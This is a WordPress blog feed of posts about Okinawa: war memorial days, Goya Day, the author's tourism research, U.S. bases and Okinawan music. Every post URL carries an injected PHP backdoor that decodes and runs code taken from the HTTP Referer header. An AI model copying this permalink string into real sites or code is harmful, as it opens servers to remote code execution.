goyablog » Okinawa http://goyaboy.org/blog bitter, but good for you Mon, 14 Sep 2009 03:49:45 +0000 http://wordpress.org/?v=2.8.4 en hourly 1 Irei no Hi (Memorial Day) http://goyaboy.org/blog/2009/06/23/irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/06/23/irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 23 Jun 2009 21:58:01 +0000 goyaboy http://goyaboy.org/blog/?p=1638 Okinawa just had its Memorial Day today, marking the 69th anniversary of the end of the Battle of Okinawa. I’ve been to at least three June 23rd events in Okinawa, June being the time I have usually gone to the island. In addition to the formal prefectural ceremonies at Mabuni:
ireinohi2
and the march of the Okinawa Bereaved Families Association:
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there are also private observances at memorials and grave sties:
ireinohi1
Coincidentally, today I’ve been re-reading the first chapter of my longstanding Okinawa tourism project and it’s all about the formation of war/peace memorials and even mentions the formal adoption in 1966 of June 23rd as Memorial Day (it had been established as June 22nd a couple years previous). I’m using this coincidence to get back into that project; it has been sitting for too long and I’m on leave now to finish it. I aim to have the next chapter done in a month and then another in a month after that. Maybe sooner. It’s hard to sit down with my materials and read and write without a proper study (aka. Figals’ Folly). I’m skeptical of that being completed within a month, but hopefully by August 1 new inspirational study space will be ready to use.

]]> http://goyaboy.org/blog/2009/06/23/irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Delicious Goya no Hi! http://goyaboy.org/blog/2009/05/08/delicious-goya-no-hi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/05/08/delicious-goya-no-hi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 08 May 2009 13:51:07 +0000 goyaboy http://goyaboy.org/blog/?p=1525 goyanohi It’s finally here! The day that Goyablog was made for: Goya Day! 5/8 (Go/ya) is an unofficial holiday in Okinawa, but is an official holiday at Goyablog. I have the ceremonial goya in the fridge, ready to be champurued for lunch. Even have some ceremonial to be, uh, ceremonially sipped. For gentle Goyareaders who have never made goya champuru, here’s a set-by-step video for you (it’s worth watching for sheer entertainment value):

Click here to view the embedded video.

YUM!

It is an Okinawa-esque morning here in Nashville. After pre-dawn Big Rain, the sun is shining brightly with Big Clouds here and there. It could be more humid, I suppose. If you don’t have a goya and some awamori, you could instead partake in listening to some Okinawa Pop music at Radio 5558! And then dance!:

gogogoya2

]]> http://goyaboy.org/blog/2009/05/08/delicious-goya-no-hi/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 The (Tentative and Unformulated) Work Plan http://goyaboy.org/blog/2009/05/04/the-tentative-and-unformulated-work-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2009/05/04/the-tentative-and-unformulated-work-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 05 May 2009 03:02:22 +0000 goyaboy http://goyaboy.org/blog/?p=1513 Besides Life Getting Complicated as my sabbatical leave begins, there is also the little something called research and writing that I must do. Unlike a certain friend who will remain unnamed who is planning on spending sabbatical time taking tennis and Photoshop lessons (okay, just in afternoons after a mornings of work), need to decide how to divide my time between the Old Stale Project and the New Shiny Project. Rationally, I should finish the old project on postwar Okinawa tourism which was only partly completed (that’s putting it charitably) during my last leave, having been derailed by yucky divorce stuff from which I re-railed only a couple years ago (I think meeting Sara might have had something to do with that). Emotionally, I’m better aligned to break ground on the new project, loosely conceived as a follow-up to my first book (but not really) in dealing with issues of contemporary media/consumerism as monster. I’ll sort that out later; I imagine I’ll work on the Old during the summer and see how it goes before jumping into the New after that. Most immediately, however, is a book review of Michael Dylan Foster’s fun Pandemonium and Parade: Japanese Monsters and the Culture of Yôkai. The nice thing about doing this review is that it’s among the stuff I wanted to read first for the new project, so I’m killing two birds with one stone. Truth be told, I read it in manuscript and have known about Foster’s project for a long time as he was working on it as a dissertation, so this is in effect a re-read. I did the first chapter this evening and plan to spend the next couple days reading it. It’s good, so this is practically pleasure reading. The book is in some respects close to mine, at least one chapter in particular, but that’s cool–at least he cites me properly, unlike Marilyn Ivy in her book (still pisses me off–and she actually was miffed at my somewhat subtle swipes at her in my intro. But I digress…). I wonder if I’ll be asked to read it a third time when Foster goes up for tenure (oh crap, that again…)

]]> http://goyaboy.org/blog/2009/05/04/the-tentative-and-unformulated-work-plan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 The Return of Radio Go Go Go Ya! http://goyaboy.org/blog/2008/02/16/the-return-of-radio-go-go-ya/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2008/02/16/the-return-of-radio-go-go-ya/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 16 Feb 2008 16:42:30 +0000 goyaboy http://goyaboy.org/blog/archives/1170 After having moved from my old place to Sara’s last spring I shut down Radio Go Go Go Ya! for fear of sucking too much bandwidth between it and Vonage and two computers. However, it seems as if Comcast has widened the band enough now so that I can rebroadcast without hiccups. It’ll continue to be Okinawan pop and traditional music, but when I’m pumping other music from my Mac Mini to the speaker setup in the house, it’ll be whatever we’re listening to here (so tuned in out there can be Listening Toms). So, if you’re into Okinawan music, or even if you’re not and want to listen to something “exotic,” tune in here.

]]> http://goyaboy.org/blog/2008/02/16/the-return-of-radio-go-go-ya/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 10 Happy Goya Day! http://goyaboy.org/blog/2007/05/08/happy-goya-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2007/05/08/happy-goya-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 08 May 2007 18:33:02 +0000 goyaboy http://goyaboy.org/blog/?p=1045 goya.jpg

Today (yesterday Japan time) is “Goya no Hi” (Goya Day) in Okinawa, the most fabulous holiday in all of humankind. As explained before on Goyablog, “5″ can be pronounced “go” and eight can be pronounced “ya” in Japanese, thus 5-8 (May Eight) is Goya Day. To celebrate, I am presently wearing my brightly-colored and goya-bespangled Goya Karayushi shirt and contemplating a goya dish for tonight’s dinner. With the weather in the low 80s and gorgeous today in Nashville, a Goya Cocktail sounds yummy. For Goyareaders to celebrate I would suggest trying to at least find a goya (bitter melon) in a local market, set it on a pedestal, and offer obeiences before slicing it open and frying it up….

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Just for you, Christopher, since you asked for it (unshaven, unruly hair, and after two glasses of wine and suggestions of delicious behaviors from the wife):

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]]> http://goyaboy.org/blog/2007/05/08/happy-goya-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Marine of 1995 Okinawa Rape Commits Murder-Suicide http://goyaboy.org/blog/2006/08/31/marine-of-1995-okinawa-rape-commits-murder-suicide/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2006/08/31/marine-of-1995-okinawa-rape-commits-murder-suicide/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 31 Aug 2006 16:06:12 +0000 goyaboy http://goyaboy.org/blog/?p=811 Kendrick Ledet of Smyrna Georgia, one of the three U.S. servicemen convicted for the notorious rape of a 12-year-old Okinawan schoolgirl in 1995, was found dead last week from self-inflicted knife wounds in the apartment of a 22-year-old college student who had been raped and then murdered by strangulation and a blow to the head, reports Stars & Stripes. At his trial for the Okinawa rape, Ledet claimed he didn’t want to go through with the rape and had “faked sex” with the victim out of fear of the ringleader, Navy Seaman Marcus Gill (the other rapist was Pfc. Rodrico Harp). He apparently went through with this one and then did himself in. In a more detailed account of Ledet’s rape-murder-suicide, his older sister astonishingly declares that this act was “really out of character for him.” And why is the pull-quote of this coverage “He always tried to make people laugh,” as if he were the victim of a tragic event. The man was a convicted rapist who then, after 6 1/2 years of hard labor in a Japanese prison, returned home and ended up raping and killing another person. He took his life before the state could take it for him. I’m sorry, but you are what you do. He may have had a hard life, but I find it very hard to find sympathy for him. A hard life is not an excuse to rape and kill anyone. (My thanks to Okinawan friend Chizuko Morikawa for the heads-up on this report).

]]> http://goyaboy.org/blog/2006/08/31/marine-of-1995-okinawa-rape-commits-murder-suicide/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2 Radio Go Go Goya! is down http://goyaboy.org/blog/2006/07/11/radio-go-go-goya-is-down/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2006/07/11/radio-go-go-goya-is-down/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 11 Jul 2006 23:30:07 +0000 goyaboy http://goyaboy.org/blog/?p=690 It seems as if there was a power outage at my house while I’m here in Tokyo so to those faithful few who listen, I’m sorry but you’ll have to get your fix of Okinawa music elsewhere until I get back on July 22 to put it back up.

]]> http://goyaboy.org/blog/2006/07/11/radio-go-go-goya-is-down/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Memorial Day, Okinawa-Style http://goyaboy.org/blog/2006/06/22/memorial-day-okinawa-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2006/06/22/memorial-day-okinawa-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 23 Jun 2006 03:30:32 +0000 goyaboy http://goyaboy.org/blog/?p=639 ishiji2004.jpg

Right now Japan Time the Irei no Hi (Memorial Day) services for the war dead of the Battle of Okinawa are being held in the Peace Park at the base of Mabuni Cliff, where the battle effectively ended on June 23, 1945 with the suicides of the two commending officers, Lt. Generals Ushijima and Cho. I’ve been to several (three or four) Irei no Hi ceremonies in Okinawa. The photo is an aerial from the top floor of the Peace Memorial Museum looking at the Cornerstone of Peace (Heiwa no Ishiji) memorial which has inscribed about 240,000 names of combatant and non-combatant war dead from all sides of the conflict. Mabuni Cliff and East China Sea/Pacific Ocean are in the background. The official ceremonies take place at a plaza to the far right, barely visible above. Here’s a close-up of it at the 2004 event:

ireinohi.jpg

Throughout the day relatives of the dead — majority elderly women who have survived all these years — walk among the marble waves to find the names that matter and leave offerings:

ishijiwoman.jpg

I always mark this day in my own way even though have no relatives who died in the Battle. It’s one of those events that prompts contemplation and humility.

My first Okinawa-related writing was an analysis of the Cornerstone of Peace that appeared in positions: east asia cultures critique (vol. 5, no. 3, Winter 1997). Look it up and read it, if you must.

Ryukyu Shimpo newspaper coverage.

]]> http://goyaboy.org/blog/2006/06/22/memorial-day-okinawa-style/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 The Most Important Day of the Year: Goya Day! http://goyaboy.org/blog/2006/05/08/the-most-important-day-of-the-year-goya-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2006/05/08/the-most-important-day-of-the-year-goya-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 08 May 2006 18:52:34 +0000 goyaboy http://goyaboy.org/blog/?p=532 goyanohi.gifMay 8th in Okinawa is designated “Goya no Hi” (ゴーヤーの日) or “Goya Day” which celebrates the vegetable (gouyaa, bitter melon) popular in Okinawa and after which Goyaboy and Goyablog takes their names. It’s May 8th because of the homonym for the word for “5″ (go)gogogoya.jpg and “8″ (ya) (5.8 = May 8th). This is, of course, the most significant day of the year for Goyaboy and Goyablog. Now, I would normally listen to Okinawan music and make goya champuru and drink the Okinawan alcohol, awamori, but I have to feed Safa this evening before our softball game and she doesn’t exactly like goya. But I’ll at least drink some awamori, hopefully after a victory in our game.

You all should try to eat a goya sometime soon: it’s bitter but good for you.

]]> http://goyaboy.org/blog/2006/05/08/the-most-important-day-of-the-year-goya-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Now on Radio Go Go Goya (5558)! http://goyaboy.org/blog/2006/04/23/now-on-radio-go-go-goya-5558/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2006/04/23/now-on-radio-go-go-goya-5558/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 23 Apr 2006 18:11:23 +0000 goyaboy http://goyaboy.org/blog/?p=494 You may have recently noticed the “Now on Radio 5558!” in the sidebar. It shows the band, song, and album art of whatever is streaming on Radio Go Go Goya! from my Mac mini. It’ll mostly be Okinawa Pop on any given day, but when I put up another playlist to listen to at home, it could be anything. Unfortunately, the WordPress pluigin to do this can’t handle Japanese fonts, or at least I haven’t the time to figure out how to. So, those irritating ????? and blanks that occasionally appear means the titles are in Japanese and/or there’s no album art available (yet). I could romanize everything in iTunes, but that’s a pain in the ass.

]]> http://goyaboy.org/blog/2006/04/23/now-on-radio-go-go-goya-5558/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Base Irony http://goyaboy.org/blog/2005/08/24/base-irony/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/08/24/base-irony/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 25 Aug 2005 00:33:45 +0000 goyaboy http://goyaboy.org/blog/?p=250 Today the Base Realignment and Closure Committee (BRAC) voted on base closures around the United States. When I listened to the news (NPR) it was cast as party time for those states and municipalities who were “spared” base closures and catastrophe for areas voted to “suffer” closures. The party atmosphere demonstrated in Texas in particular (no, no coincidence there…) made me want to vomit. I didn’t vomit, but I did get hit with a wave of depressing irony. For decades the majority of people in Okinawa have begged for the closing of U.S. bases concentrated on that island. Indeed, there are Okinawans who profit from the bases and would not be so enthusiastic to see them closed, but on the whole, the parties would be thrown there if it were announced that bases were closing. For a while I tempered what used to be my kneejerk full-on anti-base attitude just to not be a kneejerk and hear the pro-base arguments among Okinawans. But, alas, once a kneejerk always a kneejerk. When viewed in the bigger global picture and in light of the tacit U.S. imperialism that bases in Okinawa represent (with Tokyo’s blessings; after all, keep your ally happy and keep those ugly dangerous bases way down south away from the metropole), I’ve realigned my basic feelings–BRAC should vote on closing bases in Okinawa. Having so much concentrated in such a small place, occupying the best territory, creating human and environmental hazards, retarding any kind of normal economic development there, is not right. The other part of this depressing irony stems from the jubilation displayed by those U.S. areas spared closures. What does it mean, what does that tell you, when ordinary citizens are openly, wildly, cheering for the maintenance of military installations, places whose sole purpose is to practice and perfect technologies of death, whose mission, stated euphemistically and abstractly as defending peace and freedom (remember the “Peace is Our Profession” signs in Dr. Stranglove?), is to master ways of killing other human beings more effectively? It’s so twisted. Yeah, yeah, it’s supposed to be more about the threat of killing (killing overwhelmingly) so that you don’t have to kill for real, but look what’s happening now. There’s been a lot of “Made in the USA” real killing and real dying going on around the world. People in Okinawa saw a lot of ghastly killing and dying during the the Battle there in the last months of the Pacific War; the generation of survivors still around, and their progeny who are taught that gruesome details of that Battle, have better sense than to cheer for maintenance of military bases. Reflecting on that, I’m further depressed by those Texan party animals I heard on NPR. If that’s the segment of America that’s “normal”–and that’s how the base closure issue has been framed in the media; it’s normal to want to keep those bases, it’s tough luck for those areas that “lost”–then count me uber-abnormal and proud of it. Like I said not too long ago, Canada–heck, better yet New Zealand–is looking better by the minute.

]]> http://goyaboy.org/blog/2005/08/24/base-irony/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 七月エイサー (Shichigwachi Eisa) http://goyaboy.org/blog/2005/07/09/%e4%b8%83%e6%9c%88%e3%82%a8%e3%82%a4%e3%82%b5%e3%83%bc-shichigwachi-eisa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/07/09/%e4%b8%83%e6%9c%88%e3%82%a8%e3%82%a4%e3%82%b5%e3%83%bc-shichigwachi-eisa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 10 Jul 2005 04:47:19 +0000 goyaboy http://goyaboy.org/blog/?p=219 Eisa

It’s “Shichigwachi Eisa” (7th month Eisa) time in Okinawa right now. Eisa (dances for the ancestors) is the spirited (so to speak) festival song/music/dance in Okinawa that corresponds with Obon practices on mainland Japan. It usually takes place from the night of July 15th, so it’s later next week, but it’s been touristified and commodified so that it’s done for tourists and demonstrations all year round. Exactly one year ago today (July 9) I was watching the Eisa demo pictured here in a courtyard in the International House on the campus of the University of the Ryukyus. I was participating in the Cultural Typhoon conference held there. I can hardly believe it’s been a year already. What happened to the time? Things are so different from last July to this. I think back on my time there and it’s bittersweet; while there I loved it, as I always do in Okinawa. But thinking back on that time now makes me long to go back to then, and because I can’t it makes me melancholy.

]]> http://goyaboy.org/blog/2005/07/09/%e4%b8%83%e6%9c%88%e3%82%a8%e3%82%a4%e3%82%b5%e3%83%bc-shichigwachi-eisa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Okinawa References http://goyaboy.org/blog/2005/06/23/okinawa-references/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/06/23/okinawa-references/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 24 Jun 2005 03:03:40 +0000 goyaboy http://goyaboy.org/blog/?p=207 While reading Irei no Hi news online I came across this nice archive of articles that one of the two dailies in Okinawa, Okinawa Times has digitized and posted in their “60 year since end of war web” special. It has all Irei no Hi articles they published since 1962, when it was first formally celebrated, a series of last-year-of-the-war articles from other newspapers, and a collection of other special features related to the Battle and its commemoration. Pretty handy to have this stuff available online, at least for those of us (me) to whom it is useful.
Of more general value for anyone interested in Okinawa factoids in English is the Okinawa Jiten.

]]> http://goyaboy.org/blog/2005/06/23/okinawa-references/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 慰霊の日 (Irei no Hi, Memorial Day) http://goyaboy.org/blog/2005/06/23/%e6%85%b0%e9%9c%8a%e3%81%ae%e6%97%a5-irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/06/23/%e6%85%b0%e9%9c%8a%e3%81%ae%e6%97%a5-irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 23 Jun 2005 22:13:49 +0000 goyaboy http://goyaboy.org/blog/?p=206 Irei no HiIrei no Hi

June 23 is Irei no Hi (Memorial Day) in Okinawa. This was the day in 1945 when organized resistence against U.S. forces ended in the Battle of Okinawa following the ritual suicides of Lt. Generals Ushijima Mitsuru and Cho Isamu on Mabuni Hill on the southernmost tip of the island. Some Okinawans reject this day as marker of the end of the battle because it valorizes the deaths of the commanders when other died afterwards. Nevertheless, this is the official day of mourning the war dead from the Battle of Okinawa. I’ve been to four Irei no Hi events in Okinawa since the 50 year anniversary of the end of war in 1995. Today marks the 60th anniversary. It was my first trip to Okinawa in June 1995 that set me off on my present research on Okinawa tourism and war memorialization, well before my first book came out (1999). I would have like to have been there for the 60th, but it wasn’t possible this year. I was there last June-July, however for some more research on this project that I’m struggling to get back on track with. You can see my old goyablog entry for it here. In any case, you should know that about 65,000 Japanese soldiers (not counting Okinawa conscripts), 12,500 American soldiers, and 120,000 Okinawans (about 95,000 civilians) died in the battle. There were also thousands of Koreans who died, and some Taiwanese and British. The official annual memorial services are held each June 23 at the Peace Park next to Mabuni Hill and adjacent to the Heiwa no Ishiji (Cornerstone of Peace) which memorializes with names engraved in marble, as of latest count, 239,801 souls from all sides, combatants and non-combatants.

Heiwa no Ishiji

The number of names exceeds that of known Battle of Okinawa war dead because it includes names of Okinwans killed in the war in ways other than the Battle. You can see the official Okinawa Prefecture website on the Heiwa no Ishiji here.

]]> http://goyaboy.org/blog/2005/06/23/%e6%85%b0%e9%9c%8a%e3%81%ae%e6%97%a5-irei-no-hi-memorial-day/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Marine Corps Martial Arts Program http://goyaboy.org/blog/2005/06/10/marine-corps-martial-arts-program/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/06/10/marine-corps-martial-arts-program/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 11 Jun 2005 04:23:54 +0000 goyaboy http://goyaboy.org/blog/?p=194 MCMAP

I thought I’d point out Christopher Luna’s bit on the Marine Corps Martial Arts Program (MCMAP). Since he’s in Okinawa, putative birthplace of karate, is seems fitting that he pursue certificates for higher belts. The above is the MCMAP logo. Sounds like a take on the “Army of One” slogan the Army put out a while back. The problem with it in Okinawa, in the context of karate (”empty hand”), is that you don’t use “any weapon.” I like the quote Chris pulled from the MCMAP Order:
MCMAP is a synergy of mental, character, and physical disciplines with application across the full spectrum of violence. -MCO 1500.54A, Paragraph 5-A

You can read up on the MCMAP philosophy and other aspects here. The “character” section is headed by a quote from Napolean: “There are only two Powers in the world…. The sword and the spirit. In the long run, the sword is always defeated by the spirit.” This is a pretty disingenuous romaticizing of “spirit” over weapons; yes, I understand the sentiment here—mental discipline over brute force—but we all know that, just as certainly that Rock beats Scissors, Weapon beats Spirit any day of the week. You give me an AK-47 and you take a jug of Spirit and let’s have it out. Or better yet, you can even have a Sword and Spirit (just like Tom Cruise in The Last Samurai!) and I’ll take a machine gun. I will kick your ass with it. My point is that we have here is an (orientalist) idealization of “spirit” that masks what really gets the job done: high-tech (and a few low-tech) weapons, not “any weapon.” I mean really–this starts to sound like the Yamato-damashii (Japanese spirit) that was supposed to make peasants with bamboo spears stand up to Marines in as invasion of mainland Japan in WWII. And I won’t even get into the “one mind” part of the slogan; all I can think of is the Borg on Star Trek: The Next Generation.

]]> http://goyaboy.org/blog/2005/06/10/marine-corps-martial-arts-program/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Yankees Go Home! http://goyaboy.org/blog/2005/04/09/yankees-go-home/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/04/09/yankees-go-home/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 09 Apr 2005 07:01:48 +0000 goyaboy http://goyaboy.org/blog/?p=137 No, not the New York Yankees (for whom the title here would be: “Yankees Go to Hell”), but rather the U.S. Marines (20,000 +) stationed in Okinawa. Their concentrated presence there has been an issue since the end of WWII, and Okinawans have protested against their presence with varying degrees of intensity over the years. Well, if this report can be believed, it seems as if there are serious talks now about pulling the Marines out of Okinawa. But all you anti-base activists shouldn’t get too excited. What would facilitate this shift of troops is a very mixed bag: essentially, it would require rescinding Article 9 (the anti-war clause of Japan’s Constitution) and imply that Japan’s Self-Defense Forces would occupy the bases exited by U.S. forces. Also, the reason the U.S. is urging Japan to do this is because U.S. forces are spread too thin across the globe. Gee, I wonder why that is? Maybe because of an asinine and unnecessary war in Iraq?

]]> http://goyaboy.org/blog/2005/04/09/yankees-go-home/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 3 Ann Arbor http://goyaboy.org/blog/2005/03/16/ann-arbor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/03/16/ann-arbor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 16 Mar 2005 16:08:58 +0000 goyaboy http://goyaboy.org/blog/?p=114 I’m off to U of Mich in a half-hour to give a talk at the Center for Japanese Studies there (”U.S. Military Bases as Tourist Sites in Okinawa”). I’ll blog if I have the chance, but don’t expect anything new until Friday. I’m not looking forward to the cold in Michigan right now. I’m sooooooo glad to be in The South, Bible Belt, Repugnicans, and all. Later . . .

]]> http://goyaboy.org/blog/2005/03/16/ann-arbor/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Anpo no Oka http://goyaboy.org/blog/2005/03/12/anpo-no-oka/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/03/12/anpo-no-oka/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 13 Mar 2005 05:30:06 +0000 goyaboy http://goyaboy.org/blog/?p=108 Anpo no oka

I’ve been struggling to throw together this talk for U of Michigan all day. The topic is “U.S. Military Bases as Tourist Sites in Okinawa.” I have a lot of intersting material, but getting it out and organizing it is proving slower than expected. I just write slowly these days. I don’t even want to tell you how far behind schedule I am in my book project (3 chapters). After gaining some momentum in January after the holidays and guests cleared out, I’ve been derailed since early February. In any case, my topic is shaping up all right. This postcard is of “Security Treaty Hill,” a small hill on the perimeter on Kadena Air Base from where spectators can get a clear view inside the base. Within the last year or so, however, most specators go to the observation platform in a new building across the street. On one floor of that building there’s a local history exhibit, which includes zoomable surveillance cameras trained on certain sights within the base. I think that kind of “stick-it-to-man” gesture is great.

]]> http://goyaboy.org/blog/2005/03/12/anpo-no-oka/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Funky Uchinaa Pop http://goyaboy.org/blog/2005/02/04/funky-uchinaa-pop/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/02/04/funky-uchinaa-pop/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Fri, 04 Feb 2005 18:49:29 +0000 goyaboy http://goyaboy.org/blog/?p=72 nanafuI just heard Parsha Club’s funky song Gamaku from the album “nanafa” on Radio Go Go Goya! and have to share it here (mp4 download, 4.4mb).

]]> http://goyaboy.org/blog/2005/02/04/funky-uchinaa-pop/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 In a Dark Time: Community, Memory, and the Making of Ethnic Selves in Okinawan Women’s Narratives http://goyaboy.org/blog/2005/01/31/in-a-dark-time/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://goyaboy.org/blog/2005/01/31/in-a-dark-time/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 31 Jan 2005 23:26:48 +0000 goyaboy http://goyaboy.org/blog/?p=63 I’m going to have the dullest—or at least the strangest—2005 reading list if I keep this up, but this is what happens during research when there’s little time for pleasure reading. I just finished reading the 2001 Yale University Department of Anthropology dissertation of my friend and colleague, Linda Angst. Don’t get me wrong—it’s not in itself dull; in fact, it’s quite an engaging oral history/ethnography of the war memories/experiences of Okinawan women, from farmers and bar owners to the survivors of the famed Himeyuri Student Nurse Corps. Because of the intrinsically interesting stories of her informants and her approach to the topic, Linda’s work here is far less “dry” than most academic books. It’s the chapter on the Himeyuri that I was especially interested in, but got so caught up in the stories that Linda relates that I read the whole thing (all right, so I skimmed some pages here and there). Her discussion of the transition of pre-Reversion (pre-1972) bar and brothel base town Koza into “international city” Koza in the context of the growing tourism industry in Okinawa was also helpful to me. And finally, since I lived in Yomitan for a half-year, I was really drawn into the final chapter on Yomitan and its reputation for anti-war/anti-base protest. I got a real nostalgic longing to return there and to learn more about the place. I should mention too that it’s thanks to a discussion with Linda in a café on Kokusai-dôri on my first trip there in June 1995 (a time she writes about as it was during her fieldwork) that I’m even doing this present book on Okinawa tourism. In any case, Linda’s dissertation will make a great book, so I figured I’m allowed to count it among my 2005 reading list.

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